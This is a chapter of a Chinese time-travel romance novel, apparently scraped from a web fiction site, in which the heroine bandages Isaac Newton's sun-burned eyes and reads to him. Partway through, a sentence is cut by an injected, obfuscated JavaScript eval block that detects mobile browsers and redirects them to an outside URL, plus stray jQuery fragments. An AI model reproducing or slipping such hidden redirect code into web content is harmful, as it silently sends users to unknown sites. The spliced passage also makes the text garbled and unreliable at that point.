26. 不省心的病人

作品:《十七世纪伦敦女富商

    那个“留下来”的念头,来得太突然。像一滴水落进心湖,还没扩散开来,就已经让她心惊。


    薇薇安猛地起身,把它压了下去。


    不能想。


    她迅速换好衣服,随手抓起面包咬了几口,连味道都没尝出来,便推门而出。


    她需要做点什么,否则,她会动摇。


    刚进三一学院,迎面就撞上了神色慌张的威金斯。


    “失明?”薇薇安声音陡然拔高,加快了脚步。


    “怎么回事?”


    威金斯喘着气回答,“他非要工作……你不是不让他进实验室吗?今天上午太阳很好,他就——去观测太阳了。”


    薇薇安脚下一顿,近乎咆哮,“他为什么非要今天观测太阳?!我昨天明明说了让他休息!”


    真是——不省心到极点的病人。


    她一边暗自抱怨,一边加快脚步往住处赶。


    威金斯跟在后面,小心翼翼地说,“他说……因为看不清,需要淬炼眼睛,加深对光的感知……”


    薇薇安:“……”


    不愧是牛顿。


    她推门进屋,直接冲进卧室。


    “所以你就去直视太阳?牛顿先生?”


    牛顿坐在床上,脸色苍白,却仍然坐得笔直,像是在和自己的身体较劲。


    “我需要工作。”语气已经恢复了那种熟悉的冷硬与固执。


    薇薇安懒得跟他争这个,她走近一步。


    “现在什么症状?能看见吗?”


    牛顿却本能地往后退了一点。


    这个反应,反而让她松了口气。


    ——至少不是完全失明。


    “眼前是……燃烧的残影。”


    他说得很轻。薇薇安却知道,这是视网膜灼伤的典型症状。


    “我去请医生。”威金斯转身就要走。


    “不行。”薇薇安一把拦住。“医生来了万一要放血,或者滴入什么草药,牛顿先生可真就永远看不见了。”


    她严肃的语气让空气安静下来,整个屋子都陷入沉默。


    在她的建议下,威金斯吹掉所有的蜡烛,拉上窗帘,只留下壁炉里的火取暖,把床帘加厚。而她自己,则找来干净的亚麻布,裁成条。


    牛顿察觉到她靠近,下意识偏头躲开。


    薇薇安拉住他,厉声道,“别动!你的眼底已经被严重灼伤,任何一点光线、药水刺激,都会再度伤害它。”


    “我只是观察了光,没有任何刺激。”牛顿低声反驳。


    薇薇安叹了口气,双手按住他的肩膀,“光是一种带有能量的微粒,大量这样的微粒击穿了你眼底的接受网,现在,你必须给这张网时间去重新编织,在这之前,不要使用它,懂吗?”


    说着,她开始把亚麻布一圈一圈缠上去。


    这一次,牛顿没有再躲,只是低声问了一句,“你认为……光是微粒?”


    薇薇安翻了个白眼——那还不是因为你主张光是微粒,顺着你说的。但表面笑道,“只是一个比喻,我并不知道光是什么。”


    牛顿似乎很满意她的答案,任由她把布缠了三层。


    但他显然不是一个合格的病人。刚到下午,他就动手去扯掉亚麻布。


    薇薇安按住他,“我们来分析一下,先生。你现在工作,然后你会失明,就再也看不见了。”


    她顿了顿,语气带着一点笑意,却又冷静理性。


    “或者,你休息三天,再以完整的状态回到实验室。任何有理智的人,都知道该选哪一个。”


    牛顿仍然不甘心。“但你无法验证你的理论。如果我继续工作……却什么事都没有呢?”


    薇薇安轻笑了一声。


    “那你就成了我的案例。”


    她靠近他,“我没有行医执照,我现在给你的只是建议,也就是说,你不听,最终留下永久性损伤,只给我增加了一个案例,并不会对我的名誉造成任何损失。”


    她靠得更近,几乎贴在他耳边说,“我会很乐意把你当作一个完美的例子:无视医嘱、最终证明我理论正确的失败样本。以后再遇到不听话的病人,会讲给他们听,一个天才因此再也无法观察天体运行,甚至他自己做的望远镜,对他来说也成了‘存在着的无’,无用的玩具。”


    牛顿微微打了个寒战,薇薇安抬起身,“现在,先生——你真的愿意用你的天才,去赌这一把?”


    牛顿沉默了。半晌,只低声嘀咕了一句。


    “你又不是我的医生。”


    薇薇安笑了笑,没有再反驳。


    英国的天气倒是跟三个世纪后相比没什么变化,上午还晴空万里,下午就阴云压顶。


    窗外下起雨来,连绵不绝。


    薇薇安看着窗外,忍不住低声抱怨。


    “住在这里,真是无聊透顶。”


    “先生,”牛顿的声音从帘后传来,“所以,你不让我工作,是一种折磨。”


    薇薇安才意识到她刚才不是心里想,是说出口了。她转头笑道,“那我给你找点事,我给你念一些书吧?”


    牛顿的书没有洛克的多,种类也非常单一,没有乔叟,没有莎士比亚,也没有弥尔顿。


    她在现代其实也不爱读这些,但这里,至少这些她看得懂。


    薇薇安叹了口气。“算了,这些书不是拉丁文就是希腊文。对我来说和符文没区别。”


    “你……不会拉丁文或希腊文?”牛顿语气中的惊讶毫不掩饰。


    薇薇安挑眉。


    “你不是早就说过,我听不懂你的课吗?你以为我只是听不懂图和计算?当然,我可以保证,就算我学会了拉丁文——你的那些图,我也依然看不懂。”


    她耸了耸肩,说得理直气壮,完全不觉得有什么问题——看不懂牛顿的证明太正常了。


    帘后,完全没有声音。


    薇薇安等了一会,来到床边,掀起一角帘子,那人一动不动坐在那里,好像定住了。


    她挥了挥手,“牛顿先生?”


    忽然想起他现在蒙着眼睛,她有点尴尬地放下手,“说句话啊,不然我会怀疑昨晚的事故真的伤到了你的脑子。”


    牛顿依然没有动,也没有说话。


    薇薇安只好放下帘子,继续去书架找她能读懂的书。


    她翻到一本波义耳的《关于颜色的实验与考察》,考虑到牛顿现在看不见,她不能再刺激他,又放了回去。


    意外的是,她在牛顿的书架上还发现了胡克的《显微图谱》,上面还有牛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397018|199358||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顿的笔记,看得出他仔细阅读过。


    “如果是这样……”


    帘后的人开口了,声音很低。


    “你为什么会出现在伦敦那家书店?”


    薇薇安一愣,她已经快忘了这个话题了。


    “因为你拒绝帮我。我只好自己去找能用的东西。”


    “可是你根本读不懂那些书。”


    “那又怎样?我根据图画挑了几本书。当然,如果我早知道你会改变主意,我才不会浪费时间在那些书上。”


    她顿了一下,反问,“倒是你。你去那种地方做什么?还对我发脾气?”


    一阵沉默。


    “所以……你不是为了偷窃我的研究?”


    “拜托!我都不会拉丁语,偷窃你的研究干嘛?怎么发表?”薇薇安翻了个白眼。这个时代的严肃著作都是拉丁语写成,不会拉丁语等于断绝了成为学者的路。


    “可是,你那些知识又是从哪里来的?”


    这是个棘手的问题,关于她的知识来源总是很难回答,还没想好措辞,牛顿倒是自己给出了答案。“是你的老师洛克先生教你的?”


    “……咳咳,”提到这个名字,薇薇安耳尖有些热。“洛克先生兴趣广泛,他对医学、天文学、政治都感兴趣,我也跟他学到了很多,比如,”


    她认真回忆着洛克的话,“世界可以通过很多方式理解。艺术、文学,等等。‘自然哲学’,不过是其中一种‘理解方式’,也许未来,它会成为一个完整的体系,像数学一样。”


    “但现在——我只是为了这个。”


    她轻轻晃了晃怀表,


    “如果我出现在你无法理解的地方——放心。那一定只是为了它,没有别的原因。”


    想起他看不见,她补充道,“我是说让我的怀表运转起来。”


    牛顿缓缓吐出一口气,说了一句拉丁语。


    薇薇安皱眉,“什么意思?我说过我不会拉丁语。”


    “不列颠化学剧院。”


    “剑桥有这样的剧院吗?”


    “第三排,右侧,第九本。”


    薇薇安走过去,果真找到了一本书,封面上是烫金的拉丁语书名。


    又是一本看不懂的密码书。但为了应付黑暗中催促的牛顿,她只好在炉火前翻开内页。


    里面竟然是英语。


    然而薇薇安没高兴得太早,当她真正开口读的时候,发现里面都是15,16世纪的中古英语,拼写古怪,而且还是全都押韵的诗体。


    对一个习惯了现代英语的人来说,洛克书信的那种英语已经是她能读懂的极限,这种几百年前的英语诗歌,简直是折磨。薇薇安硬着头皮开始读。


    第一句出现了生词,


    第二句直接读错,


    第三句——


    “停!”帘后的人忍无可忍,“最后一个音节吞掉!那是扬抑格!你这样读,完全破坏了诗的韵律!”


    薇薇安放下书,也有点火了,“谁会读这些古代的诗啊?再说,你也不像是热爱诗歌的人啊?”


    如果她没记错,牛顿可是把诗成为“精致的废话”的,怎么突然就对这本诗集情有独钟起来?


    牛顿没有回答她的问题,只冷冷一句,“继续。”